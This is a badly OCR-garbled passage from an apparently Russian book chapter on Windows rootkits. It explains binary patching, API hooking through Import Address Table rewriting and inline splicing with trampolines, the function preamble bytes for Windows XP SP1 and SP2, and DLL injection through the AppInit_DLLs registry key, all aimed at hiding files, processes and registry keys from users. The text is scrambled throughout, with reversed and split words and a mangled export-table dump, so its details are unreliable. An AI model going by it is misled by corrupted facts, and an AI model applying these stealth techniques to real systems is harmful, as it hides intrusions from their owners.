drvmain.sdb sdb File, Compressed 05/14/0210.06:51 05/14/0210:06 51 11/30/01 01 31 44 _Д$/Д4*0^Дй1 х Ј
P e r n C o M H u n t e r ^ C V M > C O W a ^ u W r a ^ 3 l 9 5 8 0 $ < d r ^ » n , ! d b ( P S 8 8 6 S 2 7 5 Й б ч
с.Ри
2.20. Прог ам
М CL 221616 50000 FO0 1Е 0 )
EnCase
57
АВ Г Л
3. ЕНАМ ОДП
ин зи ж
К КА РТА И ТКУ
• НЕМ ДОП
А КДО
• А В Х Е Р П
Т Н А УНВОР
• И Н Е Р Д Е Н В СЕЦОРП
Е КОД
А Е ПЛЕТАВО ЗЬЛО А Т И РК Т У
Я А В О ЧЖ У
Й
С
• П"АТЧИНГ НАЕЛТУ • ИОЛПС КЭ
Р ОБАЗ
" Т И РИ КТ У
R O O T K I T S
Т ИЮАР Г
Т ВТСЕМ
Е
вн ос О
й пицн р
П рог ам ы об ра кт Р уи к т в ы иод л гмар н ы л еж и в питамя м и н ал аз К л ос с ро ык и т а дн ы о сбапос уров н ор т к у н ф цк и о н и р о в а н и
3.1. НЕМ ДОП
, в и оп редл н ы т може т а н е внре ы й ок д т н а ди ск . Послнед и .
п ртоба
ы ртки у
а тэ о моидакцф я
60
и пнаем до
е м а с а оп ерац и н а я ма е и с т , прнед аз чен х ад н ы х и в ы до а оп редл н ы х пасовытд ь либ о дна ы е , либ о сма у пумагро е рзеылуьта , а те , кырот е нжун ы руитк можн о п м не до и т ь и тадго , кдго а о н н е з агруж е е ка к исполнемыя й фай л ил и бибалекот , и н епвсторд й о сп б н аз ы в с ает я м о в п тх ае р , и м ы о
.
о т м ч и сл
ы дл я р е з у л ь а от в , чбот . Приче н в пьтамя не м уж
. а , а о е упо
ы он м про
ь бы , адн ы е п м оден т я ь щпо р е г о ев с . Но , послкь у реч ь иед т о и п роц ес в и файлов , дан ы е , орытк е п о дм е н я т ри ук т , тэ о е ядр а (сиесмтн ы е табли ц ы ) . Пмотэ у м ы сн ачл а н емн ог о пговир м х м о ид а кцф и до к а н а диеск , пот м пбонрде е о пвхерта е н а е п оль з оваетля , а пвхаер т н а уровн е ярд а оложти м д о глва ы 5, пер д й я сбощ у нидбохемы е дл я е е пон има я свенд и я о б уросйтв е и и рд я а Windows.
А КДО
А
3 . 1 . 1 . М О И Д Ф К А Ц И ор т Н ек бО ы ч н н д ои ы х с ори г н ал ь у
, л и
е п рог ам н о т э о св об нд й кдо , слегк ю версию
е п ч с бе н о и о расп онтем ы я а из мен ит .
Я И С ХН О Д Г
О ОК Д
е р а с п о тн е я е п рог ам ы ь ег о и вы лож и т
ь гед т
А
я в инсход ы . В ы может о в Ин ерт
х ха до к е ач ск т , вы ад
. ь в з а
в а Гл
а ка
к оа рб
т вш а у копи и сомкпил руе т е е н а сево ы соб рат ь пумагро чо н т о н дерс й п ол ь з в е ат о ск й в к а ли ц ф и , н о дл я огт ь б рат с я в тмо , чт о дела т пмагро , гдля я н а е е инсходы й кдо Прогами.ст А ровд я й п ол ь з ве ат ь вря д л и зиамет , чт о к д добавлен а у н ф цк и я , оыст люа щ а я оек иак е и н е р тс ы е и з н в ест ы й мо т э у п ол ь з ве ат ю (н о хшор о и з в н ест ы й рк е у щя ик .
и т и к т у р
а
о н е поздреваю щ и
м б е ло П р ыр гок т н дио хыс
а м и о да ц к ф и н и дохсг о д о к а бноес о ро с т о ои ст т в ми р е то о п гор ма н о бп ос е ч н и я (open source). В ы гед н ибуд ь в и елд е д о к ы л он к Б а т ? Д а щпор е лн о к Б т н ап и ь с т , че м н ай т и ге о и с е ы до к . А во т в мир е open source св е прогамн е об есп ч н и е рас я в вид е индохсы х ковд . В ы может свобнд о з агруз и т ь даж е кдо ы ярд а Linux пжолайутс , www. k e r n e l . org.
п р о сатн е я ни дохс ы
ь з агруз и . Чбот
з жин з
Ни ч г е
н д оы х
й п ол ь з ве ат м кмпоью ерт
а 3.Пнме д о
ю и с х онд к
в , датсо , чбот ы раз о , н уж н о бы т ь о в инсходы й ад н ы е н а н е ) почвыт й
В а м а кж е с т я , чт о тэ о отль к о те о р и я ? Сейча с п ри в ед у п ри м е р и з реаль но й ж и з н и . В 2003 гдо у с помщ ь ю п м не до ы и с х о дн г о од к а б ы л и со км п р о м еи т в а н ы FTPсерв ы п тр о е к а GNU, з ан и маю щ ег о п ерв о е м ест ми р е open source. Очте т о б эот й иосрт и в ы может п р о ч и та ь п о рес ад h t t p : / / w w w . c e r t . o r g / a d v i s o r i e s / C A 2 0 0 3 2 1 . h t m l .
3 . 1 . 2 . ПАТЧИН таП ч (зпалт в н с во у и с во н т ыньлети оп д уб ю пумарго щус в ю т е щ и е з аг руж л ю л к с ч д и п от о н н е з априет тэ и а йф л и т ем , польск о н сжоме ыр х слхучая ь ог ат д ся ш о а и бк м ж каТ ц ки м п аг ро
) тэ о саньлицеп
о в у
Г
я ю у м а рг о п , ремипан и л и и е нкци фу , можн о п р о ча т и ь лю , добави в в не е доплн иеть н ы е у н ф цк и и и л и и з м ен и в уж е . Напри ме , мжон о пчпортаи ь IE тка , чбот ы о н пеостн о и з И н е рт а ал ь ост н ы е чтса и риакту , а к к толь к о п о л ь з о в еа лт ь я к Иу тнер . Джа е елс и н а кьпюрмео т е унаевлотс н брнаэумд , т ед й в с т и я Internet Explorer, полськ у е бду т «дьумат», чт о ы с ак ч и в а е т а с м п о л ь з о в а те л ь . П оль з ов ател ь ж е н и ч ег о н е за у оальстн ы е фунцк и и б зуар е а буд т рабто ь ка к обы чн о : т просмиатв ь Webсрантиц ы , з ахиодт ь н а FTP и т . п . В н отек , елс и пгорма а пчпорнета а н еправиль н о , п оль з оваетл ь мжое т , чт о пиордтхс , п о знматео у «тжморнеию » брауз е а ил и п о пр и з апуск е и з аверш н и и рыбтао .
е п ч ат и н й п рог ам ы Н ап ри м е
и е
г ж ом е ы ил , лсе
т и сп ол ь з в ат с . Очен ь ч тса и ж е получен и и п р и з ап уск
я пам рго , яевларпси . ичткесроТ
о ч пта я иак хл и б е п мгаор
я дл и и сп ол ь з ую с т
, карот т пщ ноу е ы д
я и з м ен и о доп лн иеть н ы а те п вор я
я висно
т инемиз е к б иш о
я с у щ в ею т щ и я д л я у да л е н и
х унф я з ащ и т х в о з м ж н ое сй т
, з ареги ст рован
ы
а но
. а 61
RootKits
ил и нте д г е св
, мжон
о пропчати
а воз вращ л
В компь ю ернты ел ьт н ы в чтсе
х и а гр х в о з м ж н ое сй т а дне
С о пг н и ч т а в ти он а с у
ь е е тка » полжиеьт н ы
а «нхрвеа х пчта , н паирме
, чбо т
ы фунцк и я
и чтса
м мн жо о бяьстор ь н а е т ю ьп м к о ю сум у
о исполь з ую ст , «б»иятмрсе
. И свтс дер
о днчо та со
о н и ь аход т с х ал ог в т к й айф о ла го в т п к д р билокруе и в ы уанст вли ает з нжендаго о р а з о бь т с я
,
я доп лн и о о кл и
о пеотср
ы реви з о р бы е бы л и пропчатен ы . Тдго а поль з
л уанстовле е файлы ы о т нге
В Windows етс ь сво й ы шн т а т , н о вреодн с а я п рог ам чи т п р и в л е г и и ма д и н о р т с уа сн т о в и ь п о р с нт и й рев и з о об н аруж и т ь и олкют ч иьт .
. аВ
м нн жу о р вы ч и сли т CRC х с и с те м н о в а ж н ы х : х ресурсов , б о т е е в св о ю б аз у да н я ег о к о н т р о л ь н а я
я в п т ам я и и о нк р т л и о в а т ь ре дос . аК к олть к о аяк т о п рог ам а ч ео х т л (ка к правило , тэ о айф л ы и з а л т о гк в , а жакт е ай л ф ы а л т о гк в Program т эт у пмагро у и спраш ивае т у вса , е пумарго , в корт й в ы увер о ичонтс аик , мжтое е раз реш и т ь уунавкотс , , дукто а т э а прогам а п рон и л к а в
р о мК е реж и м а м о н и от р а у соврем н ы В э то м р е ж и м е реви з о р н е н а х о д и тс ресу ы , а з ап ускает я п о ваш ем у рт е б о в а н и ка о г л и б о с и те м н о в а ж н о г о а йф л н е с а н кц и о н и р о в а н о в ам и , в ы может з ерв н о й ок п и и и л и д и с тр б у ти в а , в с о тв е тс в у ю щ и е и з мен ен и я в св о ю н а до е т ь в ам .
62
я дл я получ ен и , н еогра ичен ог
р умаргоп рвоеиз . Р е в и з о ) все х афй л о в (то ч н е , все ь во бщ е вс е аф й л ы , т о с и те м н ы ) н а ваш е м ж е с т ко м ди с к е и з а п и ш е и и з мен и т ь о ди н б а й т а йф л а , и з м е н и тс
Рев и з о р мж о е т нп о с я т ж и мо е с и е м тн о в а ж н ы м оид ц ф р о в а т ь с и е м нт ы %WINDIR% и есв х ге Files н а вес х ди сакх) , ревиз о чт о делат ь даль ш е . Елс ны , чт о он а получен а и в пиротвн м сл уч а е н жу ш ва у суме тис .
в ог
я з а пу крвео .
г и т . д .
(ко н тр о л ь н у есл и ко н тр о л и р о в а т ю сь , н е х в а ти ных . Д а ж е есл сум а .
В жа н о , чбот ме ис т е уж св е в педкоря
, овечтаю щ а й з е р т ьал у
й рвеиоз а з н еа
х рев и з ор я п о с т ня
в ест ь реж и м с ак н е р а . о в п а м ят и , о тн и м а я ю и бь е т тревогу , есл и CRC а и з м ен и лась . Есл и тэ о и з м е н и е е п е р у с ат н о в и т ь о т э т а йф л и з ре п р о ит в н о м случ а е рев и з о р в н ес т б аз у да н ы х , и б о л ь ш е н е б у де т
н н а индохс , ревиз о о беду т ннмего
о «чюу тис р беду .
р жублс а з ащ иыт т о не м и мжое т олюкт ч иьт . мотэП у ом ен р к с у т д , ыротк й п рог ам п ч ат е
» сумеитс т счьиат файло
. Елс и в , чт о с н им и в и калто , есл и пуло
я до п л н и е т л ь н р н е жм ос е
о т
л а вГ
3.2. ПА В Х Е Р
Т Н А УНВОР
О С Windows приусмедатв п ри л ож ен и я м б о щ ь т ас р н об а ы фунцк и й н аз ы вю ст
а 3.П о д м е н
Е ПЛЕТАВО ЗЬ ЛО
а ак
к об ра
з и жз н
и р у т ки т
а
Я
т снатрыд
я с апуройат
е нрбоа ы фун цк и й , поз вюля щ и х , поль з еват м и дру г с другом . Эт и я API (Applications Programmer's Interface).
о р втА в и о к рт у в бноес о и е у сн р т т Native API ей инерфт н и е ж п л ро м и смаб лжу и р яд а онцоиарпе й ы м е т си . Обы ч н ы ж ен и я вы з вюа т фунцк и и Native API чер з API блео е вы огск ик е ка к Win32 API ил и POSIX, н о крек у н жу а боль ш а я г и ьобс т к
с м де ж е п ри л о
у , та
о уровн я .
Имен н ем мня у
а фун кц и й и з Native API н ач и н аю тс я с п р еиф кс а «Nt», и и м ен о к у о тн о с и т я фун кц и я NtQuerySystemlnf ormation, кот ру ю я у п о и э кс п о р т и у е т б и л и о те к а NTDLL.DLL, л в п . 1.6.2. Эт и уфн кц и а оп и сан и е и х м ож н о н ай т и у Марк а Рус и н ов и ч а п о а др е с у h t t p : / / w w w . s y s i n t e r n a l s . c o m / 1 n f o r m a t i o n / N a t i v e A p i . h t m l . О иф ц и а л ь н а я (о т Microsoft) сп рав к а п о н е ко т р ы м и з н и х н а х о д и тс я в Windows NT Device Driver Kit (DDK), о котр м м ы п ог в ори м в гл . 5. гд о К а п ри лож ен и NTDLL негиур р а бы т в с е я ч бо ар т и к мор т к у с теа дп р нЗ а ч и т , лсе и ерк п ол н и т ь в небос т ы н ы й доуст п к о вес
е в поль з оваетль оск т п г о рм а н
е в ы з ы в ае т Ntфун кц и ю , е 0х2Е . Эт о преы ван и е бо м п ре ы в ан и й уров н я дря а KiSystemService, я и н ке д с фунцк и и в таблиц е KiSystemServiceTable. р н у с п ед о т в эт у тбалиц у л ож н ы й сер да , о н мсжое т вы й о к д в режим е ра д я , пюарвоесдтля щ е м н еог ра и ч ен м сиемнсты м рмасруе .
ПРИМЕЧ АН ИЕ
а н ичаН ци укрснит
м реж и м
е п ре ы в ан и
.
я с Windows 2000, вм ест я SYSENTER дл я порцес
о ы ри е в н а п
я INT 0х2 Е высолпяетн в Intel ил и SYSCALLftrm процес ор
я а нл и е ц с п ь
я в AMD.
Н о эт о я з а б е ж а л в п ер д , а п ок а м ы г ов ри м о п е р х в а т е APIфу н к ц и й , в ы п о л н яю щ и х с я ц е л и ко м н а п о л ь з о в а те л ь с ко м уров н е , т о е с т ь уфн к ц и й и з б и б л и о те к KERNEL32.DLL, USER32.DLL, GUI32.DLL и AD VAPI.DLL. Эт и уф н кц и и в ы з ы в а ю тс я и з п ри лож ен и й t a s k m g r . e x e (Д и с п е тч е р з ад ч Windows), e x p l o r e r . e x e (П р о в о д н и к Windows) и r e g e d i t . e x e (Р е д а к т о р р е с тр а ) , ко т р ы е з а п у с ка е т п о л ь з о в а те л ь , ж ела я п р о с м о тр е ь сп и со к п роц ес ов , аф й л о в и кл ю ч е й р е с тр а . В о т и с де л а е м так , ч то б ы ет х п р о ц е с о в , аф й л о в и кл ю ч е й , ко т р ы е м ы х о ти м с п р ят а ь п р и п ом щ и р у тки а , о н н е у в и де л . Д и ост ч
ь эгот
о можн
о двум
я смибаопс
•
н ме п д о
й сома
й APIфунцк и
•
н ме п д о
й дан ы х
, оыбтарвме
: ; х APIфун цк и ей
. 63
RootKits
В пворе
м счлуа е логи к а патсор : м ы пиш е м сов й ан ало г APIфун цк и , пер ы вх та е м вы з о в индохс й APIфунцк и и и втсме о не е з апеуск м сво ю фун ц ки ю . Наш а фун кц и я в ы з в ае т индохсу ю фунцк и ю , получае т е е рзельута «п орит » ег о и п ер да т в в ы з ы в аю щ у ю п рог ам у . П усть , н а п р и м е р и с х он д а я у н ф цк и я в оз ращ л а пси о к а й л фо в в на д о м а лт ко г е . дгоТ н ша а фун кц и я п вор и е т , етс ь л и в эот м списк е файлы , корты е м ы сбоиар мсе я срык ьт , и , елс и еьтс , уадли т и х и з спикс а и внре т м оид ц ф р о в а н ы пс и о к в кчавтсе е рзеалуьт . нме дПо APIфун цк и у н ф цк и я о ка К й пс о п роч ув ст а бо а спбоса
а индохсы
х дан ы , «н а лует
, и полжрдае б н же да ь мас и .
х осущ етвля » миоцдф руе м е е вы полн е и , ока . оМ
е е дл
я и н ч еа
: м ы перхвыат е , с корыт м
м а б л ти ц ы . й щ оп р е о м ла не ь о к
, гвиорт
ь н е н а ут с е азрскьт
м вы з о
, , а й
и аетрбо
в эт а
: в ы олджн , ак к реали з оват
ы тэ о ь
Сн ач л а о то м , ак к п р о с м о тр е ь с о де р ж и м о е б и б л и о те ки . У ва с ест Total Commander? Есл и н ет , у с та н о в и т е его . О н в п о с л е д с тв и и м ож е ва м п р и г о д и т ь с я . В ы у ж е у с та н о в и л и его ? Тогд а п ер й ди т е в ка т л о \system32 и о ткр й т е д л я п р о с м тр а («F3») б и б л и о те к KERNEL32.DLL. П е р й ди т е н а в кл а д к у Image File Header. З д е с ь на х о д и тс я и сч ерп ы в аю щ а я и н оф р м а ц и я о б и б л и о те к . П р о л и с та й т е вн из , д о з а г о л в к а EXPORTS TABLE. Эт о та б л и ц а э кс п о р та , в н е у ка з а н ы в с е уф н к ц и , экс п о р ти р у е м ы е б и б л и о те ко й , и то ч к а в ход ка ж д о й уф н к ц и . П р о л и а сй т
е таблиц у эапстрок , пко я сл уж и т дл я в ы д о н ж еио п л р е вызеав т ее . Елс и кола т в оз ращ е т д е рс ик п о т , ыротк й а в х у н ф цк и и FindNextFile (тож жа ы д К й вы з о в FindNextFile взо щар е FindNextFile вы з всает я в ц илк л е нд и й файл . тЭ
а у н ф цк и
а н е нтйеад а ж р е и д о с гм г е сув тщсуе и сп ол ь з ует е с п и к о р тэ у е т оид е д о те х про
ь т г у е е й а
е фунцк и ю F i n d F i r s t F i l e . о ла го т к . Первы м ол е д м т и н е пт с у , т о FindFirstFile я р п и п о с л у юе д щ и х вы з о я и з KERNEL32.DLL). н фай л и з калотг . Обы чн о , пко а н е беду т вы ед н с по
бо т Ч ы в о с п л ь з о в аь т с я и тм э и у н фц к и м я , приложен и е в о в рем я в ы п ол неи я з агруж е т б и л екот у KERNEL32.DLL и кпоиеур т сер да а и м п орт ров ан ы х и з н е е у н ф цк и й в сво ю ицлбат у т р о п м и а ресоад в (IAT, Import Address Table). гдо К а п ри л ож ен и е в ы з в еа т ндо у и з APIфун цк и й , управ л ен и е п с е ар тд я н а сер да , азук н ы й в IAT Плсо е з ав ерш н и е у н ф цк и и в ы п ол н е и е п рог ам ы п ро л д ж с а е т я с и н срцтук и , юудлес щ е й з а вы з о ов м фун цк и . 64
в а Гл 1 й l«ter (Мо Г и е й Фа
п
) K\WI№ 0W5\»ystem3^k«rte*». 29Л Й / 200
2 12:15:02
UO0
00000001h гЕ Д ЗО О О , OU0003AEh Qfdn Nam* 1 ActivaleAcCtM
Entry p! 000137681ч 00OO33fЈh 0OOOD496h D00607C5h 00OSO78Јh OOfMEOAih 0004DF8Ch 00035030b 000?38ADh
2
M&AonA
3 AddAtorrrW 4 AddCoruotoAfatA 5 AddConsoleAfcuW 6 .Ав !Йасо 1«п1 а |5С1 тс 1 ир |?'Ы5те А 7 AddLocafA!terri.^eCQmputeiNameW S AddRefAclClx 9 AddVeclaec^KceptionHandlei (fofwaidei > NTDLL.RlWddVectoredExceplionHarKJIei 10 AHocConsole 11 AflocateUserFtiysicalPages 12 A/efiieApisANSI 13 A s ^ i P i o c e s s T o J o b O b r c t 14 AtlachComcle 15 SackupRead 16 8ackupS*ek 17 BackupWiite 13 Ba.wChectAppci.'mipalCai^be 19 BaseOeantipAppcompaiCacrie 20 Basstleanup^pptompatCacheSuopofr
00036»» OOOKOCEh O00ODF51h 0000261Ah OOOOOCCEh 0004C126h 0004B2Olh 0004C709h 0001F6A3h 0 0 0 5 8 F Ј l n 00О55 ОС Е П
ч "—" с.Ри
эортспк а
ботбли иек
> NtQueryDirectoryFiIe [rrtoskjnl.exe]
ров У
к е ит л б о Б ю а щ гт ео б а р
.З 1. ацТбли
J
с.Ри
3.2. уПт ь
3 а З к 665
вяиеынолп
и цк н фу
FindNextFile
Ц еп оч к а в ы з ов в FindNext File Kernel32.dll » NtQue гуDirector y > INT 2E > KiSystemService > NtQue . 3.2) н аз ы ryDirectory (ри с в сает я е п ту м в ы п олн е и я у н ф цк и . П о с лк ь у п о л ь з о в ае тл ь с к е п ри лож ен и е з агруж е т KER NEL32.DLL в собвтен о е но с е р д а е пвнтаср о о (асерд а п т ам я и межуд 0x00010000 и 0x7FFE0000), на ш рут и к т мж о е т з ап рост о п ер з а п и сат ь лю б у ю у н ф цк и ю в KERNEL32.DLL и л и ажд е 65
RootKits
аб тл и ц л и е рт уа
у IAT. оЭт т п цор се с ваетсяызн е API hooking).
о в тпх а е р
3 . 2 . 1 . П Е Р З А П И С
Ь АРСЕ Д
м API (в ан гзлояы ч н о
А ФИЦНУ К
й
И
П щор е г е вс о п ер з а и с т ь аб л т и ц у и м п тро а ц по с р е а (IAT). У гжоадк п ри л ож ен и я тсе ь у р т к с а IMAGE_IMPORT_DESCRIPTOR, соедржащ и н ем а DLL, унфцк и и ыро т к х и м п орт ую с я п ри л ож ен и м , а тжак уа кз ет л я н а в д а м ас и в а у т ркс р IMAGE_IMPORT_BY_NAME. уртСк IMAGE_IMPORT_BY_NAME жредоис т и мн е а у н цф к и й , и мпорт ван ы п ри л ож ен и м . Пр ур т к с ж ен и ме т реал ь н ы
е п ри лож ен и я в п т ам я ь оп ерац и он а я си ем т а ан л и з руе у IMAGE_IMPORT_DESCRIPTOR и з гажуре т н е о б их д м ы ю би бл оеитк . Ка к толь к о библекот и з аг руж ен ы , операц и он а а м ои д ц ф р у е т и см а в ы IMAGE_IMPORT_BY_NAME, з ап и сы ва е ардес а требумы х приложен и ю фунцк и й .
и з аг руз к
т сП у
ь руиктверси ж ен и я (тумо н е соти т п ер и сат осер да м в соб ен т И з м ен и н аи к
. Осн ов
я у н ф цк и , ка к он а тду ь а тб л и ц й у н ф цк и е IATтаблиц е е е преимущ вест а чо не ь б оп р н д
тэ а техн ик д ве ь т э о с о в е р ш н о з ао кн а но й с и е м то й . В думокен ацт и о т ан с д е к у эогт о сбпос о б н а р у ж и в а се т я ан и т в русам
и нисяаходт а птедпао
ы тэ о очне
ь мщо н яа
, н о в т в пто ср о по и нас , в то м чилс е я а цп р о у д е , и споль з уема и п о API о н н аз ы всает а толь к о оидн : пвахер т и и аниткруы м и о сиотс
ь н е важ н о м ы собираемс
, ка к приложен и я «иьтагр » и з таблиц
е п ри л о я си я в ни
е п ри л о а риукт у н и ч ег й APIфун кц и
т о ж е врем е реали з ац и в доукмен атц и
т х о и
я парост
я тхе . К тмо у ж е и п о API, я сам о й оп ерац и я DLLforwarding. A API сравн и етль н о л ег к о с р евд т а м и .
м н е к о вес м п ри лож ен имя . оНртыек е у в о мв е р я з а п ксу , мопт у ч т о раз еш а й п о тбеврона ию , вы з ы ва я LoadLibrary я бщ о в е н е и сп ол ь з ую т IAT, т о тсе ь х случ ая х пом ж е т боле е с л о ж н а я те х н и к а е з агружен ог о в пьтамя .
3 . 2 . 2 . ПЕР ЗА ПИС рп е Т
в ансерод м п р о с ат н в н п . 3.3). Тдго в ер да с и с х о дн
, пщ всяое у IAT, з амен и .
К сожален и ю , эот т сопс б примен и з н и х н е з ап ол н ю я т IATтбалиц ю т асерд а импоиртуеы х у н фц к и и GetProcAddress. Эт и при лож ен и ав ш рутки т н е сработе . В эит перз апи с ь кдо а фунцк и , уж
66
о я е вд а а х
Ь С А МО
е п ол уч и
Й ФИЦНУ К
И
о аерд с APIфун цк и , с корт й ы IAT ил и вы зво м GetProcAddress.
в а Гл
дВ е у н ц фк и
ь м ы беду
м пмодент я
ь н е асерд
а 3.Пмод ен
а ак
, а н епвнсторд
к об ра
з жи нз
о байт
ы кдо
и и т ру к
а
а инсход
й
.
б Ощ и
й алгорит
м вы гидля
т тка
1. Риукт бй а т
т сохране я ы буд
2. етаЗ дохер
м рикту т пиш е а JMP дохер П
3. Плсо у н ф цк и т р у цк и щ ва р е 4. Риукт п рог ам е
т сйеча
:
т нольеск с перз аписн ы т н а мтсе а каду
е в ы п ол н е и
я до к а рикут и и в ы з в с ает я и н сход а я JMP, н о н а индохсу т рзтеаьлу , н о н е онс во
т и м о цд ф р у е
о пвыре
х бйаот .
в иснход
о пывре ? Кчнео
х бойта о же
в кнадмо , н а ко д пнемдо
а в ы п ол н ю я ст я у н ф цк и ю у н ф цк и ю ) й пгормае
т з е р ьа л у т
й фун цк и у бвноглзсеу
о пе .
й фунцки
я сохран е ы я (т о ест . Исходн а , а риутк
т и е а д пр
и эт и
ь щ е е он д я у нф к ц и .
т уп рав лен и
е бй а т ы а ин с я в оз
е осн в о
й
.
оСлк ь о ж е б ай о т в ори г н ал ь о й у н фц к и и м ож н о п е р и с аь т ? омаКн д а б ез усл ов н г о д о х е рп а з ан и м е т тп я ь б а й о в т . Пщор е в гес о п ер и сат и м не о пврые е птя ь бйаот в н ид о х с й у н фцк и . В опервы х , первы е б ай ы т н аз ы в аем е п реам б ул ой , иоднвак ы д л я е св х у н ф ц к и й Win32 API. Он есв м изнвтсеы , брагдол я чме у и х мжно о джа е н е сьтнархо я , чт о сщувнетс упрощ ает смех у перз апис : втсме о бзе лсувон г о пдохер а н а сохран е ы и н ц р у кс т и и х можн о птсор о взтя ь и вы полн иьт . Н е о б х ди м раз ли ч н ы п реамб ул
о уч ест х в ерси а в ы г л дя и н И с т и цр у к
ь то л ь к о от , ч т о п реамб ул й Windows. Есл и в ерси т акт :
и Ас ем б л ер p u s h ebp
а
а уф н кц и я Windows м ладш
еШс т н ацдт е р и ч н о
лсЕ л уб
и ж е уаснт овле а вы гдиля н И с т и цр у к
т инчае
е
8bec
а Windows XP SP2 ил :
и Ас ем б л ер
й раз ли ч н а д л я е Х Р SP2, т о
е п р е сд т а в л е н и 55
mov e b p , e s p
ь , и о е
а
и бело
е п оз дн я
я верси я
еШс т н ацдт е р и ч н о
е п р есдт а в л е н и
mov e d i , e d i
8 b f f
p u s h ebp
55
mov e b p , e s p
8bec
З а м е ть е , ч т о в Windows XP SP1 п р е а м б у л (55 8Ь ее) . Получсаяет , чт о перз аписы ват
, т о преам
а з ан и мае ь присетд
т в сег я преамбул
е
о 3 б а й т у и дв а бйта
а а 67
RootKits
ойак т н юя щ а в на и
о друго я п ер з а и сь
й и н рсцутк и
е н ачл
. Эт а бы т
, долж н и и опелридт
а фунцк и
о н ужн ь в сноясит ь длин
о учиыт вьа
: вша
а фунцк и я ь ди з а с е м б л и р о
и в ы п ол н и т у и н рц с у т к и й
, вы пол
.
В Windows XP SP2 н ша а б ат ро а з н ач и елть н о уп рощ ен а . Преамбул а з ан и т 5 байот в ак к ра з сольтк , солкь о н жу о . В эо т м на м помгл а мас о кр п а ц и я Microsoft. Неуж л и Microsoft н е плеармсутод , в киак х ц ел я т э о м ож е т и с п о л ь з о в аьт с я ? а К к ра з тонрба : инме о дл я итэ х цел й он тэ о и селад . В SP2 пвиоялас ь н ова я фунцк и я «гчге яро о пчат» , поз вюля щ а я всатвля ь н овы й ко д бе з перз агу к и смыеитс . М ы н е селда и н и ч ге н ез о ак н г о , птсор о воспль з овалис ь н во й взомжньтс ю о т Microsoft. е ам
п ер Т
ь погври м о ворт . Собвстен о , говриьтт ет , ч т о в ы помеистл и б ез усл ов н ы дг о к а а в м н уж о беду т з а п уи с т з н а ч и етл ь н о у с л о ж н естя у н фц к и и д о б ез усл ов н г п та дер ь управлен и е а в о с тш е й с ц по ср е е мжое т п ри в ест и н и е б ез услов н г о п ер ход мы а с м ы т с по р м реш н ием цк и
рп е Т
ь н ме го
и ко т р ы тр а м п л и н о м ц ки ю р та м п л и н И с х но д а в юа щ а а т с ем е е н ач л
68
. айт Б ы а до к , ыротк е в ы п ер з а и сы в ает о с о х р а н и ть , а п от м в ы п о л н и ть , н а з ы в а ю тс й д о х е рп , кырот й в ы пщмео та е в ц елву ю фун я м о д бх . мехС а н е м д по ы у н ц кф и и с помщ ь ю д о хб а а н а ри с . 3.3.
. Безусловн ы а при ведн я у н ф кц и я ц ле в у : исхонд а о «о»дохб
Д оп л н и е ьт у и да ц к ф х я оп д пирц млое»
е пзерпаис и имне о первы х байот в фун . Дмуюа , эт о и та к ясн о . Павресдть о и н е о чме й опх е р д в и сер д н у у н ф цк и . мотП , ь индоухс ю фунцкию , ко д вша е й у н ф цк и и : две ь ав м н жун о беду т в ы п ол н и т ь о к д ин д о х с й о а д о х е рп , вы полн ит ь п ер з ап и с н ы е бй а т ы и я чтса и фунцк и . Онд а ош и бк а в пнбод м к нзапкесмуыдр м резамул.ьт В ы вдо : пщмео а в н ач л о у н ф цк и и вя л е тс я о п ит м а л ь н ы м и .
о г де т
, н аз ы васет
Д ан а у н ф цк и в ы п ол н и т н а омодбх у н фцк и и ц ф руе
й пирч н
о е рт м и н о л г и е н уж н
я тэ о фунцк и ю APIфунцк и ю я фун кц и я вы з веа , м ы пидохер
я п ло ь з е в г та кс . д Гял т цвлеюу м н а фунцк и
о п ри лож ен и я , св е сатн ови ст
я н а ринуско , н о , плоькс ю оадохб
, вы з я н а сво у м ы помиестл
ю и орм ац н ф
ю о б изнме и х рмиатку
, опбулвоинак
е я и и и в
.
я у н ф кц и я в ы п ол н е я т иа к е т о ед й в с т и я и п ае р д и р та м п л и н а . Осн ов а я е е зчад а воипгтд ь рт а м п л и н ь т у п о с л е вд аь т н о с ь и н ц рук ст й , аротк я бы л . Посл е эогт о фун цк и я трамплин а пеадр т уп равлен и , котра я воз вращ е т рзельуат т фунцк и и а д о хб . Последн я т рез ульат т (есл и эт о н ужн о ) и оптравеля т ег о индохс , вы поленм я
а х а о
т уп рав лен и , т о тсе а п ер з а и с е ц ле в о я и д мо й у н ф цк и
е ь й .
и пту и исполн е и я и други х мо , в ы стжеом е н айт и в сьта е «Windows й н а сйта е h t t p : / /www. s e c u r i t y l a b . ru.
в а Гл
на д о х с И
я фцинку
ц и н Фк у
я
1 я доибо
а 3.Помд ен
а ка
ц и н Фк у
я
с.Ри
Е КДО
3.3. Псьиап ерз
•
в о т с д е рп
•
с пщомь
ю клю ч м п вхер та ю уадлен ы
и цк н фу
А РТ И К Т У
В о т те п р ь н а ч и н а е тс я сам о п о м е с ит ь ок д своег о руикт бО щ е е н аз в и е описы ваемог мо т , чт о м ы еобдавля м н ша DLL мож н о трем я спбосмаи с пщом ь
ав е л Ц
и и т к ур
i
я фцинку
а
я
а
i .
.
•
з жи нз
• i
а и н пл м а р т
3.3. ВИНЕР ДЕН
к о б ра
в птам я и
А В ЧО Ж У
Й ПСЕЦОР
С
, ак к мож н о е и н ет р с н о е . М ы рас м отри м е п р о с т а н с вт о друго о п роц ес а . а в ардесн о . Залкю ч аест я о н в о д о т ем а DLLи н ъ ецк и я у DLL в дгоур й п роц ес . Иатк , вн едри т ь нш а у :
а AppInit_DLLs ртсе а сбощ неи
й Windows;
х повкт
3 . 3 . 1 . л К ю
а Windows;
ч
.
A P P I N I T J D L L S
Эт о с а м ы й о п тс р й сп о б , рабюот щ и й в Windows NT/2000/XP/2003. : иктру у н жу о п ро и сат ь в клю ч е HKLM\ З ал к ю ч а е ст я о н в сюудле щ ме Software\Microsoft\WindowsNT\CurrentVersion\Windows\Ap pInit_DLLs (рис . 3.4) свнебтос у ю у б ки е л т о , ортак я б ы перз апи сы е п ри л ож ен и я , исполь з ую щ ег о б и л ое тк у в ла а а б т л и ц у IAT. Пр и з апуск е би бл оетк и в USER32.DLL, вы полнестя я з агруз к а уазкн о й в эо т м люк ч нсер да о е праноств о при лож ен и я . Загруз к а DLL вы п олн естя я смао й биб й и хорш о л и оетк й USER32.DLL. оиСт т и ьм ет о , чт о эт о ои фц и аль н ы у о мд к е н и т р в а н ы й пб со . аК б ран м д уэ зе у
к в и нд м воз мжн ост
